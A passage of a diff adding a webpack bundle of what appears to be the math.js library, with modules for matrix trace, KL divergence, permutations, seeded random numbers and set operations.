implementation + return _denseTrace(matrix(x)); + }, + 'SparseMatrix': _sparseTrace, + 'DenseMatrix': _denseTrace, + 'any': clone + }); + + function _denseTrace(m) { + // matrix size & data + var size = m._size; + var data = m._data; // process dimensions + + switch (size.length) { + case 1: + // vector + if (size[0] === 1) { + // return data[0] + return clone(data[0]); + } + + throw new RangeError('Matrix must be square (size: ' + format(size) + ')'); + + case 2: + // two dimensional + var rows = size[0]; + var cols = size[1]; + + if (rows === cols) { + // calulate sum + var sum = 0; // loop diagonal + + for (var i = 0; i < rows; i++) { + sum = add(sum, data[i][i]); + } // return trace + + + return sum; + } + + throw new RangeError('Matrix must be square (size: ' + format(size) + ')'); + + default: + // multi dimensional + throw new RangeError('Matrix must be two dimensional (size: ' + format(size) + ')'); + } + } + + function _sparseTrace(m) { + // matrix arrays + var values = m._values; + var index = m._index; + var ptr = m._ptr; + var size = m._size; // check dimensions + + var rows = size[0]; + var columns = size[1]; // matrix must be square + + if (rows === columns) { + // calulate sum + var sum = 0; // check we have data (avoid looping columns) + + if (values.length > 0) { + // loop columns + for (var j = 0; j < columns; j++) { + // k0 <= k < k1 where k0 = _ptr[j] && k1 = _ptr[j+1] + var k0 = ptr[j]; + var k1 = ptr[j + 1]; // loop k within [k0, k1[ + + for (var k = k0; k < k1; k++) { + // row index + var i = index[k]; // check row + + if (i === j) { + // accumulate value + sum = add(sum, values[k]); // exit loop + + break; + } + + if (i > j) { + // exit loop, no value on the diagonal for column j + break; + } + } + } + } // return trace + + + return sum; + } + + throw new RangeError('Matrix must be square (size: ' + format(size) + ')'); + } + + trace.toTex = { + 1: "\\mathrm{tr}\\left(${args[0]}\\right)" + }; + return trace; +} + +exports.name = 'trace'; +exports.factory = factory; + +/***/ }), +/* 292 */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + + +function factory(type, config, load, typed) { + var getArrayDataType = load(__webpack_require__(63)); + /** + * Find the data type of all elements in a matrix or array, + * for example 'number' if all items are a number and 'Complex' if all values + * are complex numbers. + * If a matrix contains more than one data type, it will return 'mixed'. + * + * Syntax: + * + * math.getMatrixDataType(x) + * + * Examples: + * + * const x = [ [1, 2, 3], [4, 5, 6] ] + * const mixedX = [ [1, true], [2, 3] ] + * const fractionX = [ [math.fraction(1, 3)], [math.fraction(1, 3] ] + * const unitX = [ [math.unit('5cm')], [math.unit('5cm')] ] + * const bigNumberX = [ [math.bignumber(1)], [math.bignumber(0)] ] + * const sparse = math.sparse(x) + * const dense = math.matrix(x) + * math.getMatrixDataType(x) // returns 'number' + * math.getMatrixDataType(sparse) // returns 'number' + * math.getMatrixDataType(dense) // returns 'number' + * math.getMatrixDataType(mixedX) // returns 'mixed' + * math.getMatrixDataType(fractionX) // returns 'Fraction' + * math.getMatrixDataType(unitX) // returns 'Unit' + * math.getMatrixDataType(bigNumberX) // return 'BigNumber' + * + * See also: + * SparseMatrix, DenseMatrix + * + * @param {...Matrix | Array} x The Matrix with values. + * + * @return {string} A string representation of the matrix type + */ + + var getMatrixDataType = typed('getMatrixDataType', { + 'Array': function Array(x) { + return getArrayDataType(x); + }, + 'Matrix': function Matrix(x) { + return x.getDataType(); + } + }); + return getMatrixDataType; +} + +exports.name = 'getMatrixDataType'; +exports.factory = factory; + +/***/ }), +/* 293 */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + + +module.exports = [// require('./distribution'), // TODO: rethink math.distribution +__webpack_require__(76), __webpack_require__(75), __webpack_require__(141), __webpack_require__(294), __webpack_require__(295), __webpack_require__(296), __webpack_require__(297), __webpack_require__(301), __webpack_require__(302)]; + +/***/ }), +/* 294 */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + + +function factory(type, config, load, typed) { + var matrix = load(__webpack_require__(0)); + var divide = load(__webpack_require__(45)); + var sum = load(__webpack_require__(99)); + var multiply = load(__webpack_require__(10)); + var dotDivide = load(__webpack_require__(138)); + var log = load(__webpack_require__(91)); + var isNumeric = load(__webpack_require__(52)); + /** + * Calculate the Kullback-Leibler (KL) divergence between two distributions + * + * Syntax: + * + * math.kldivergence(x, y) + * + * Examples: + * + * math.kldivergence([0.7,0.5,0.4], [0.2,0.9,0.5]) //returns 0.24376698773121153 + * + * + * @param {Array | Matrix} q First vector + * @param {Array | Matrix} p Second vector + * @return {number} Returns distance between q and p + */ + + var kldivergence = typed('kldivergence', { + 'Array, Array': function ArrayArray(q, p) { + return _kldiv(matrix(q), matrix(p)); + }, + 'Matrix, Array': function MatrixArray(q, p) { + return _kldiv(q, matrix(p)); + }, + 'Array, Matrix': function ArrayMatrix(q, p) { + return _kldiv(matrix(q), p); + }, + 'Matrix, Matrix': function MatrixMatrix(q, p) { + return _kldiv(q, p); + } + }); + + function _kldiv(q, p) { + var plength = p.size().length; + var qlength = q.size().length; + + if (plength > 1) { + throw new Error('first object must be one dimensional'); + } + + if (qlength > 1) { + throw new Error('second object must be one dimensional'); + } + + if (plength !== qlength) { + throw new Error('Length of two vectors must be equal'); + } // Before calculation, apply normalization + + + var sumq = sum(q); + + if (sumq === 0) { + throw new Error('Sum of elements in first object must be non zero'); + } + + var sump = sum(p); + + if (sump === 0) { + throw new Error('Sum of elements in second object must be non zero'); + } + + var qnorm = divide(q, sum(q)); + var pnorm = divide(p, sum(p)); + var result = sum(multiply(qnorm, log(dotDivide(qnorm, pnorm)))); + + if (isNumeric(result)) { + return result; + } else { + return Number.NaN; + } + } + + return kldivergence; +} + +exports.name = 'kldivergence'; +exports.factory = factory; + +/***/ }), +/* 295 */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + + +var deepForEach = __webpack_require__(47); + +function factory(type, config, load, typed) { + var add = load(__webpack_require__(14)); + var multiply = load(__webpack_require__(10)); + var divide = load(__webpack_require__(45)); + var factorial = load(__webpack_require__(75)); + var isInteger = load(__webpack_require__(34)); + var isPositive = load(__webpack_require__(73)); + /** + * Multinomial Coefficients compute the number of ways of picking a1, a2, ..., ai unordered outcomes from `n` possibilities. + * + * multinomial takes one array of integers as an argument. + * The following condition must be enforced: every ai <= 0 + * + * Syntax: + * + * math.multinomial(a) // a is an array type + * + * Examples: + * + * math.multinomial([1,2,1]) // returns 12 + * + * See also: + * + * combinations, factorial + * + * @param {number[] | BigNumber[]} a Integer numbers of objects in the subset + * @return {Number | BigNumber} Multinomial coefficient. + */ + + return typed('multinomial', { + 'Array | Matrix': function ArrayMatrix(a) { + var sum = 0; + var denom = 1; + deepForEach(a, function (ai) { + if (!isInteger(ai) || !isPositive(ai)) { + throw new TypeError('Positive integer value expected in function multinomial'); + } + + sum = add(sum, ai); + denom = multiply(denom, factorial(ai)); + }); + return divide(factorial(sum), denom); + } + }); +} + +exports.name = 'multinomial'; +exports.factory = factory; + +/***/ }), +/* 296 */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + + +var isInteger = __webpack_require__(3).isInteger; + +function factory(type, config, load, typed) { + var factorial = load(__webpack_require__(75)); + + var product = __webpack_require__(95); + /** + * Compute the number of ways of obtaining an ordered subset of `k` elements + * from a set of `n` elements. + * + * Permutations only takes integer arguments. + * The following condition must be enforced: k <= n. + * + * Syntax: + * + * math.permutations(n) + * math.permutations(n, k) + * + * Examples: + * + * math.permutations(5) // 120 + * math.permutations(5, 3) // 60 + * + * See also: + * + * combinations, factorial + * + * @param {number | BigNumber} n The number of objects in total + * @param {number | BigNumber} [k] The number of objects in the subset + * @return {number | BigNumber} The number of permutations + */ + + + var permutations = typed('permutations', { + 'number | BigNumber': factorial, + 'number, number': function numberNumber(n, k) { + if (!isInteger(n) || n < 0) { + throw new TypeError('Positive integer value expected in function permutations'); + } + + if (!isInteger(k) || k < 0) { + throw new TypeError('Positive integer value expected in function permutations'); + } + + if (k > n) { + throw new TypeError('second argument k must be less than or equal to first argument n'); + } // Permute n objects, k at a time + + + return product(n - k + 1, n); + }, + 'BigNumber, BigNumber': function BigNumberBigNumber(n, k) { + var result, i; + + if (!isPositiveInteger(n) || !isPositiveInteger(k)) { + throw new TypeError('Positive integer value expected in function permutations'); + } + + if (k.gt(n)) { + throw new TypeError('second argument k must be less than or equal to first argument n'); + } + + result = new type.BigNumber(1); + + for (i = n.minus(k).plus(1); i.lte(n); i = i.plus(1)) { + result = result.times(i); + } + + return result; + } // TODO: implement support for collection in permutations + + }); + permutations.toTex = undefined; // use default template + + return permutations; +} +/** + * Test whether BigNumber n is a positive integer + * @param {BigNumber} n + * @returns {boolean} isPositiveInteger + */ + + +function isPositiveInteger(n) { + return n.isInteger() && n.gte(0); +} + +exports.name = 'permutations'; +exports.factory = factory; + +/***/ }), +/* 297 */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + + +function factory(type, config, load, typed) { + var distribution = load(__webpack_require__(100)); + /** + * Random pick one or more values from a one dimensional array. + * Array elements are picked using a random function with uniform or weighted distribution. + * + * Syntax: + * + * math.pickRandom(array) + * math.pickRandom(array, number) + * math.pickRandom(array, weights) + * math.pickRandom(array, number, weights) + * math.pickRandom(array, weights, number) + * + * Examples: + * + * math.pickRandom([3, 6, 12, 2]) // returns one of the values in the array + * math.pickRandom([3, 6, 12, 2], 2) // returns an array of two of the values in the array + * math.pickRandom([3, 6, 12, 2], [1, 3, 2, 1]) // returns one of the values in the array with weighted distribution + * math.pickRandom([3, 6, 12, 2], 2, [1, 3, 2, 1]) // returns an array of two of the values in the array with weighted distribution + * math.pickRandom([3, 6, 12, 2], [1, 3, 2, 1], 2) // returns an array of two of the values in the array with weighted distribution + * + * See also: + * + * random, randomInt + * + * @param {Array} array A one dimensional array + * @param {Int} number An int or float + * @param {Array} weights An array of ints or floats + * @return {number | Array} Returns a single random value from array when number is 1 or undefined. + * Returns an array with the configured number of elements when number is > 1. + */ + // TODO: rework pickRandom to a typed-function + + var pickRandom = distribution('uniform').pickRandom; + pickRandom.toTex = undefined; // use default template + + return pickRandom; +} + +exports.name = 'pickRandom'; +exports.factory = factory; + +/***/ }), +/* 298 */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + + +var seedrandom = __webpack_require__(299); // create a random seed here to prevent an infinite loop from seed-random +// inside the factory. Reason is that math.random is defined as a getter/setter +// and seed-random generates a seed from the local entropy by reading every +// defined object including `math` itself. That means that whilst getting +// math.random, it tries to get math.random, etc... an infinite loop. +// See https://github.com/ForbesLindesay/seed-random/issues/6 + + +var singletonRandom = seedrandom(); + +function factory(type, config, load, typed, math) { + var random; // create a new random generator with given seed + + function setSeed(seed) { + random = seed === null ? singletonRandom : seedrandom(String(seed)); + } // initialize a seeded pseudo random number generator with config's random seed + + + setSeed(config.randomSeed); // wrapper function so the rng can be updated via generator + + function rng() { + return random(); + } // updates generator with a new instance of a seeded pseudo random number generator + + + math.on('config', function (curr, prev, changes) { + // if the user specified a randomSeed + if (changes.randomSeed !== undefined) { + // update generator with a new instance of a seeded pseudo random number generator + setSeed(curr.randomSeed); + } + }); + return rng; +} + +exports.factory = factory; +exports.math = true; + +/***/ }), +/* 299 */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; +/* WEBPACK VAR INJECTION */(function(global) { + +var width = 256;// each RC4 output is 0 <= x < 256 +var chunks = 6;// at least six RC4 outputs for each double +var digits = 52;// there are 52 significant digits in a double +var pool = [];// pool: entropy pool starts empty +var GLOBAL = typeof global === 'undefined' ? window : global; + +// +// The following constants are related to IEEE 754 limits. +// +var startdenom = Math.pow(width, chunks), + significance = Math.pow(2, digits), + overflow = significance * 2, + mask = width - 1; + + +var oldRandom = Math.random; + +// +// seedrandom() +// This is the seedrandom function described above. +// +module.exports = function(seed, options) { + if (options && options.global === true) { + options.global = false; + Math.random = module.exports(seed, options); + options.global = true; + return Math.random; + } + var use_entropy = (options && options.entropy) || false; + var key = []; + + // Flatten the seed string or build one from local entropy if needed. + var shortseed = mixkey(flatten( + use_entropy ? [seed, tostring(pool)] : + 0 in arguments ? seed : autoseed(), 3), key); + + // Use the seed to initialize an ARC4 generator. + var arc4 = new ARC4(key); + + // Mix the randomness into accumulated entropy. + mixkey(tostring(arc4.S), pool); + + // Override Math.random + + // This function returns a random double in [0, 1) that contains + // randomness in every bit of the mantissa of the IEEE 754 value. + + return function() { // Closure to return a random double: + var n = arc4.g(chunks), // Start with a numerator n < 2 ^ 48 + d = startdenom, // and denominator d = 2 ^ 48. + x = 0; // and no 'extra last byte'. + while (n < significance) { // Fill up all significant digits by + n = (n + x) * width; // shifting numerator and + d *= width; // denominator and generating a + x = arc4.g(1); // new least-significant-byte. + } + while (n >= overflow) { // To avoid rounding up, before adding + n /= 2; // last byte, shift everything + d /= 2; // right using integer Math until + x >>>= 1; // we have exactly the desired bits. + } + return (n + x) / d; // Form the number within [0, 1). + }; +}; + +module.exports.resetGlobal = function () { + Math.random = oldRandom; +}; + +// +// ARC4 +// +// An ARC4 implementation. The constructor takes a key in the form of +// an array of at most (width) integers that should be 0 <= x < (width). +// +// The g(count) method returns a pseudorandom integer that concatenates +// the next (count) outputs from ARC4. Its return value is a number x +// that is in the range 0 <= x < (width ^ count). +// +/** @constructor */ +function ARC4(key) { + var t, keylen = key.length, + me = this, i = 0, j = me.i = me.j = 0, s = me.S = []; + + // The empty key [] is treated as [0]. + if (!keylen) { key = [keylen++]; } + + // Set up S using the standard key scheduling algorithm. + while (i < width) { + s[i] = i++; + } + for (i = 0; i < width; i++) { + s[i] = s[j = mask & (j + key[i % keylen] + (t = s[i]))]; + s[j] = t; + } + + // The "g" method returns the next (count) outputs as one number. + (me.g = function(count) { + // Using instance members instead of closure state nearly doubles speed. + var t, r = 0, + i = me.i, j = me.j, s = me.S; + while (count--) { + t = s[i = mask & (i + 1)]; + r = r * width + s[mask & ((s[i] = s[j = mask & (j + t)]) + (s[j] = t))]; + } + me.i = i; me.j = j; + return r; + // For robust unpredictability discard an initial batch of values. + // See http://www.rsa.com/rsalabs/node.asp?id=2009 + })(width); +} + +// +// flatten() +// Converts an object tree to nested arrays of strings. +// +function flatten(obj, depth) { + var result = [], typ = (typeof obj)[0], prop; + if (depth && typ == 'o') { + for (prop in obj) { + try { result.push(flatten(obj[prop], depth - 1)); } catch (e) {} + } + } + return (result.length ? result : typ == 's' ? obj : obj + '\0'); +} + +// +// mixkey() +// Mixes a string seed into a key that is an array of integers, and +// returns a shortened string seed that is equivalent to the result key. +// +function mixkey(seed, key) { + var stringseed = seed + '', smear, j = 0; + while (j < stringseed.length) { + key[mask & j] = + mask & ((smear ^= key[mask & j] * 19) + stringseed.charCodeAt(j++)); + } + return tostring(key); +} + +// +// autoseed() +// Returns an object for autoseeding, using window.crypto if available. +// +/** @param {Uint8Array=} seed */ +function autoseed(seed) { + try { + GLOBAL.crypto.getRandomValues(seed = new Uint8Array(width)); + return tostring(seed); + } catch (e) { + return [+new Date, GLOBAL, GLOBAL.navigator && GLOBAL.navigator.plugins, + GLOBAL.screen, tostring(pool)]; + } +} + +// +// tostring() +// Converts an array of charcodes to a string +// +function tostring(a) { + return String.fromCharCode.apply(0, a); +} + +// +// When seedrandom.js is loaded, we immediately mix a few bits +// from the built-in RNG into the entropy pool. Because we do +// not want to intefere with determinstic PRNG state later, +// seedrandom will not call Math.random on its own again after +// initialization. +// +mixkey(Math.random(), pool); + +/* WEBPACK VAR INJECTION */}.call(this, __webpack_require__(300))) + +/***/ }), +/* 300 */ +/***/ (function(module, exports) { + +var g; + +// This works in non-strict mode +g = (function() { + return this; +})(); + +try { + // This works if eval is allowed (see CSP) + g = g || new Function("return this")(); +} catch (e) { + // This works if the window reference is available + if (typeof window === "object") g = window; +} + +// g can still be undefined, but nothing to do about it... +// We return undefined, instead of nothing here, so it's +// easier to handle this case. if(!global) { ...} + +module.exports = g; + + +/***/ }), +/* 301 */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + + +function factory(type, config, load, typed) { + var distribution = load(__webpack_require__(100)); + /** + * Return a random number larger or equal to `min` and smaller than `max` + * using a uniform distribution. + * + * Syntax: + * + * math.random() // generate a random number between 0 and 1 + * math.random(max) // generate a random number between 0 and max + * math.random(min, max) // generate a random number between min and max + * math.random(size) // generate a matrix with random numbers between 0 and 1 + * math.random(size, max) // generate a matrix with random numbers between 0 and max + * math.random(size, min, max) // generate a matrix with random numbers between min and max + * + * Examples: + * + * math.random() // returns a random number between 0 and 1 + * math.random(100) // returns a random number between 0 and 100 + * math.random(30, 40) // returns a random number between 30 and 40 + * math.random([2, 3]) // returns a 2x3 matrix with random numbers between 0 and 1 + * + * See also: + * + * randomInt, pickRandom + * + * @param {Array | Matrix} [size] If provided, an array or matrix with given + * size and filled with random values is returned + * @param {number} [min] Minimum boundary for the random value, included + * @param {number} [max] Maximum boundary for the random value, excluded + * @return {number | Array | Matrix} A random number + */ + // TODO: rework random to a typed-function + + var random = distribution('uniform').random; + random.toTex = undefined; // use default template + + return random; +} + +exports.name = 'random'; +exports.factory = factory; + +/***/ }), +/* 302 */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + + +function factory(type, config, load, typed) { + var distribution = load(__webpack_require__(100)); + /** + * Return a random integer number larger or equal to `min` and smaller than `max` + * using a uniform distribution. + * + * Syntax: + * + * math.randomInt(max) // generate a random integer between 0 and max + * math.randomInt(min, max) // generate a random integer between min and max + * math.randomInt(size) // generate a matrix with random integer between 0 and 1 + * math.randomInt(size, max) // generate a matrix with random integer between 0 and max + * math.randomInt(size, min, max) // generate a matrix with random integer between min and max + * + * Examples: + * + * math.randomInt(100) // returns a random integer between 0 and 100 + * math.randomInt(30, 40) // returns a random integer between 30 and 40 + * math.randomInt([2, 3]) // returns a 2x3 matrix with random integers between 0 and 1 + * + * See also: + * + * random, pickRandom + * + * @param {Array | Matrix} [size] If provided, an array or matrix with given + * size and filled with random values is returned + * @param {number} [min] Minimum boundary for the random value, included + * @param {number} [max] Maximum boundary for the random value, excluded + * @return {number | Array | Matrix} A random integer value + */ + // TODO: rework randomInt to a typed-function + + var randomInt = distribution('uniform').randomInt; + randomInt.toTex = undefined; // use default template + + return randomInt; +} + +exports.name = 'randomInt'; +exports.factory = factory; + +/***/ }), +/* 303 */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + + +module.exports = [__webpack_require__(55), __webpack_require__(30), __webpack_require__(147), __webpack_require__(304), __webpack_require__(51), __webpack_require__(305), __webpack_require__(33), __webpack_require__(89), __webpack_require__(38), __webpack_require__(144), __webpack_require__(130)]; + +/***/ }), +/* 304 */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + + +function factory(type, config, load, typed) { + var equal = load(__webpack_require__(51)); + /** + * Test element wise whether two matrices are equal. + * The function accepts both matrices and scalar values. + * + * Strings are compared by their numerical value. + * + * Syntax: + * + * math.deepEqual(x, y) + * + * Examples: + * + * math.deepEqual(2, 4) // returns false + * + * a = [2, 5, 1] + * b = [2, 7, 1] + * + * math.deepEqual(a, b) // returns false + * math.equal(a, b) // returns [true, false, true] + * + * See also: + * + * equal, unequal + * + * @param {number | BigNumber | Fraction | Complex | Unit | Array | Matrix} x First matrix to compare + * @param {number | BigNumber | Fraction | Complex | Unit | Array | Matrix} y Second matrix to compare + * @return {number | BigNumber | Fraction | Complex | Unit | Array | Matrix} + * Returns true when the input matrices have the same size and each of their elements is equal. + */ + + var deepEqual = typed('deepEqual', { + 'any, any': function anyAny(x, y) { + return _deepEqual(x.valueOf(), y.valueOf()); + } + }); + deepEqual.toTex = undefined; // use default template + + return deepEqual; + /** + * Test whether two arrays have the same size and all elements are equal + * @param {Array | *} x + * @param {Array | *} y + * @return {boolean} Returns true if both arrays are deep equal + */ + + function _deepEqual(x, y) { + if (Array.isArray(x)) { + if (Array.isArray(y)) { + var len = x.length; + + if (len !== y.length) { + return false; + } + + for (var i = 0; i < len; i++) { + if (!_deepEqual(x[i], y[i])) { + return false; + } + } + + return true; + } else { + return false; + } + } else { + if (Array.isArray(y)) { + return false; + } else { + return equal(x, y); + } + } + } +} + +exports.name = 'deepEqual'; +exports.factory = factory; + +/***/ }), +/* 305 */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + + +function factory(type, config, load, typed) { + var compareText = load(__webpack_require__(147)); + var isZero = load(__webpack_require__(60)); + /** + * Check equality of two strings. Comparison is case sensitive. + * + * For matrices, the function is evaluated element wise. + * + * Syntax: + * + * math.equalText(x, y) + * + * Examples: + * + * math.equalText('Hello', 'Hello') // returns true + * math.equalText('a', 'A') // returns false + * math.equal('2e3', '2000') // returns true + * math.equalText('2e3', '2000') // returns false + * + * math.equalText('B', ['A', 'B', 'C']) // returns [false, true, false] + * + * See also: + * + * equal, compareText, compare, compareNatural + * + * @param {string | Array | DenseMatrix} x First string to compare + * @param {string | Array | DenseMatrix} y Second string to compare + * @return {number | Array | DenseMatrix} Returns true if the values are equal, and false if not. + */ + + var equalText = typed('equalText', { + 'any, any': function anyAny(x, y) { + return isZero(compareText(x, y)); + } + }); + equalText.toTex = undefined; // use default template + + return equalText; +} + +exports.name = 'equalText'; +exports.factory = factory; + +/***/ }), +/* 306 */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + + +module.exports = [__webpack_require__(307), __webpack_require__(148), __webpack_require__(308), __webpack_require__(149), __webpack_require__(309), __webpack_require__(310), __webpack_require__(311), __webpack_require__(312), __webpack_require__(150), __webpack_require__(313)]; + +/***/ }), +/* 307 */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + + +var flatten = __webpack_require__(2).flatten; + +function factory(type, config, load, typed) { + var MatrixIndex = load(__webpack_require__(24)); + var DenseMatrix = load(__webpack_require__(49)); + var size = load(__webpack_require__(28)); + var subset = load(__webpack_require__(23)); + var compareNatural = load(__webpack_require__(30)); + /** + * Create the cartesian product of two (multi)sets. + * Multi-dimension arrays will be converted to single-dimension arrays before the operation. + * + * Syntax: + * + * math.setCartesian(set1, set2) + * + * Examples: + * + * math.setCartesian([1, 2], [3, 4]) // returns [[1, 3], [1, 4], [2, 3], [2, 4]] + * + * See also: + * + * setUnion, setIntersect, setDifference, setPowerset + * + * @param {Array | Matrix} a1 A (multi)set + * @param {Array | Matrix} a2 A (multi)set + * @return {Array | Matrix} The cartesian product of two (multi)sets + */ + + var setCartesian = typed('setCartesian', { + 'Array | Matrix, Array | Matrix': function ArrayMatrixArrayMatrix(a1, a2) { + var result = []; + + if (subset(size(a1), new MatrixIndex(0)) !== 0 && subset(size(a2), new MatrixIndex(0)) !== 0) { + // if any of them is empty, return empty + var b1 = flatten(Array.isArray(a1) ? a1 : a1.toArray()).sort(compareNatural); + var b2 = flatten(Array.isArray(a2) ? a2 : a2.toArray()).sort(compareNatural); + result = []; + + for (var i = 0; i < b1.length; i++) { + for (var j = 0; j < b2.length; j++) { + result.push([b1[i], b2[j]]); + } + } + } // return an array, if both inputs were arrays + + + if (Array.isArray(a1) && Array.isArray(a2)) { + return result; + } // return a matrix otherwise + + + return new DenseMatrix(result); + } + }); + return setCartesian; +} + +exports.name = 'setCartesian'; +exports.factory = factory; + +/***/ }), +/* 308 */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + + +var flatten = __webpack_require__(2).flatten; + +function factory(type, config, load, typed) { + var MatrixIndex = load(__webpack_require__(24)); + var DenseMatrix = load(__webpack_require__(49)); + var size = load(__webpack_require__(28)); + var subset = load(__webpack_require__(23)); + var compareNatural = load(__webpack_require__(30)); + /** + * Collect the distinct elements of a multiset. + * A multi-dimension array will be converted to a single-dimension array before the operation. + * + * Syntax: + * + * math.setDistinct(set) + * + * Examples: + * + * math.setDistinct([1, 1, 1, 2, 2, 3]) // returns [1, 2, 3] + * + * See also: + * + * setMultiplicity + * + * @param {Array | Matrix} a A multiset + * @return {Array | Matrix} A set containing the distinc elements of the multiset + */ + + var setDistinct = typed('setDistinct', { + 'Array | Matrix': function ArrayMatrix(a) { + var result; + + if (subset(size(a), new MatrixIndex(0)) === 0) { + // if empty, return empty + result = []; + } else { + var b = flatten(Array.isArray(a) ? a : a.toArray()).sort(compareNatural); + result = []; + result.push(b[0]); + + for (var i = 1; i < b.length; i++) { + if (compareNatural(b[i], b[i - 1]) !== 0) { + result.push(b[i]); + } + } + } // return an array, if the input was an array + + + if (Array.isArray(a)) { + return result; + } // return a matrix otherwise + + + return new DenseMatrix(result); + } + }); + return setDistinct; +} + +exports.name = 'setDistinct'; +exports.factory = factory; + +/***/ }), +/* 309 */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + + +var flatten = __webpack_require__(2).flatten; + +var identify = __webpack_require__(2).identify; + +function factory(type, config, load, typed) { + var MatrixIndex = load(__webpack_require__(24)); + var size = load(__webpack_require__(28)); + var subset = load(__webpack_require__(23)); + var compareNatural = load(__webpack_require__(30)); + /** + * Check whether a (multi)set is a subset of another (multi)set. (Every element of set1 is the element of set2.) + * Multi-dimension arrays will be converted to single-dimension arrays before the operation. + * + * Syntax: + * + * math.setIsSubset(set1, set2) + * + * Examples: + * + * math.setIsSubset([1, 2], [3, 4, 5, 6]) // returns false + * math.setIsSubset([3, 4], [3, 4, 5, 6]) // returns true + * + * See also: + * + * setUnion, setIntersect, setDifference + * + * @param {Array | Matrix} a1 A (multi)set + * @param {Array | Matrix} a2 A (multi)set + * @return {boolean} true | false + */ + + var setIsSubset = typed('setIsSubset', { + 'Array | Matrix, Array | Matrix': function ArrayMatrixArrayMatrix(a1, a2) { + if (subset(size(a1), new MatrixIndex(0)) === 0) { + // empty is a subset of anything + return true; + } else if (subset(size(a2), new MatrixIndex(0)) === 0) { + // anything is not a subset of empty + return false; + } + + var b1 = identify(flatten(Array.isArray(a1) ? a1 : a1.toArray()).sort(compareNatural)); + var b2 = identify(flatten(Array.isArray(a2) ? a2 : a2.toArray()).sort(compareNatural)); + var inb2; + + for (var i = 0; i < b1.length; i++) { + inb2 = false; + + for (var j = 0; j < b2.length; j++) { + if (compareNatural(b1[i].value, b2[j].value) === 0 && b1[i].identifier === b2[j].identifier) { + // the identifier is always a decimal int + inb2 = true; + break; + } + } + + if (inb2 === false) { + return false; + } + } + + return true; + } + }); + return setIsSubset; +} + +exports.name = 'setIsSubset'; +exports.factory = factory; + +/***/ }), +/* 310 */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + + +var flatten = __webpack_require__(2).flatten; + +function factory(type, config, load, typed) { + var compareNatural = load(__webpack_require__(30)); + var MatrixIndex = load(__webpack_require__(24)); + var size = load(__webpack_require__(28)); + var subset = load(__webpack_require__(23)); + /** + * Count the multiplicity of an element in a multiset. + * A multi-dimension array will be converted to a single-dimension array before the operation. + * + * Syntax: + * + * math.setMultiplicity(element, set) + * + * Examples: + * + * math.setMultiplicity(1, [1, 2, 2, 4]) // returns 1 + * math.setMultiplicity(2, [1, 2, 2, 4]) // returns 2 + * + * See also: + * + * setDistinct, setSize + * + * @param {number | BigNumber | Fraction | Complex} e An element in the multiset + * @param {Array | Matrix} a A multiset + * @return {number} The number of how many times the multiset contains the element + */ + + var setMultiplicity = typed('setMultiplicity', { + 'number | BigNumber | Fraction | Complex, Array | Matrix': function numberBigNumberFractionComplexArrayMatrix(e, a) { + if (subset(size(a), new MatrixIndex(0)) === 0) { + // if empty, return 0 + return 0; + } + + var b = flatten(Array.isArray(a) ? a : a.toArray()); + var count = 0; + + for (var i = 0; i < b.length; i++) { + if (compareNatural(b[i], e) === 0) { + count++; + } + } + + return count; + } + }); + return setMultiplicity; +} + +exports.name = 'setMultiplicity'; +exports.factory = factory; + +/***/ }), +/* 311 */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + + +var flatten = __webpack_require__(2).flatten; + +function factory(type, config, load, typed) { + var MatrixIndex = load(__webpack_require__(24)); + var size = load(__webpack_require__(28)); + var subset = load(__webpack_require__(23)); + var compareNatural = load(__webpack_require__(30)); + /** + * Create the powerset of a (multi)set. (The powerset contains very possible subsets of a (multi)set.) + * A multi-dimension array will be converted to a single-dimension array before the operation. + * + * Syntax: + * + * math.setPowerset(set) + * + * Examples: + * + * math.setPowerset([1, 2, 3]) // returns [[], [1], [2], [3], [1, 2], [1, 3], [2, 3], [1, 2, 3]] + * + * See also: + * + * setCartesian + * + * @param {Array | Matrix} a A (multi)set + * @return {Array} The powerset of the (multi)set + */ + + var setPowerset = typed('setPowerset', { + 'Array | Matrix': function ArrayMatrix(a) { + if (subset(size(a), new MatrixIndex(0)) === 0) { + // if empty, return empty + return []; + } + + var b = flatten(Array.isArray(a) ? a : a.toArray()).sort(compareNatural); + var result = []; + var number = 0; + + while (number.toString(2).length <= b.length) { + result.push(_subset(b, number.toString(2).split('').reverse())); + number++; + } // can not return a matrix, because of the different size of the subarrays + + + return _sort(result); + } + }); + return setPowerset; // create subset + + function _subset(array, bitarray) { + var result = []; + + for (var i = 0; i < bitarray.length; i++) { + if (bitarray[i] === '1') { + result.push(array[i]); + } + } + + return result; + } // sort subsests by length + + + function _sort(array) { + var temp = []; + + for (var i = array.length - 1; i > 0; i--) { + for (var j = 0; j < i; j++) { + if (array[j].length > array[j + 1].length) { + temp = array[j]; + array[j] = array[j + 1]; + array[j + 1] = temp; + } + } + } + + return array; + } +} + +exports.name = 'setPowerset'; +exports.factory = factory; + +/***/ }), +/* 312 */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + + +var flatten = __webpack_require__(2).flatten; + +function factory(type, config, load, typed) { + var compareNatural = load(__webpack_require__(30)); + /** + * Count the number of elements of a (multi)set. When a second parameter is 'true', count only the unique values. + * A multi-dimension array will be converted to a single-dimension array before the operation. + * + * Syntax: + * + * math.setSize(set) + * math.setSize(set, unique) + * + * Examples: + * + * math.setSize([1, 2, 2, 4]) // returns 4 + * math.setSize([1, 2, 2, 4], true) // returns 3 + * + * See also: + * + * setUnion, setIntersect, setDifference + * + * @param {Array | Matrix} a A multiset + * @return {number} The number of elements of the (multi)set + */ + + 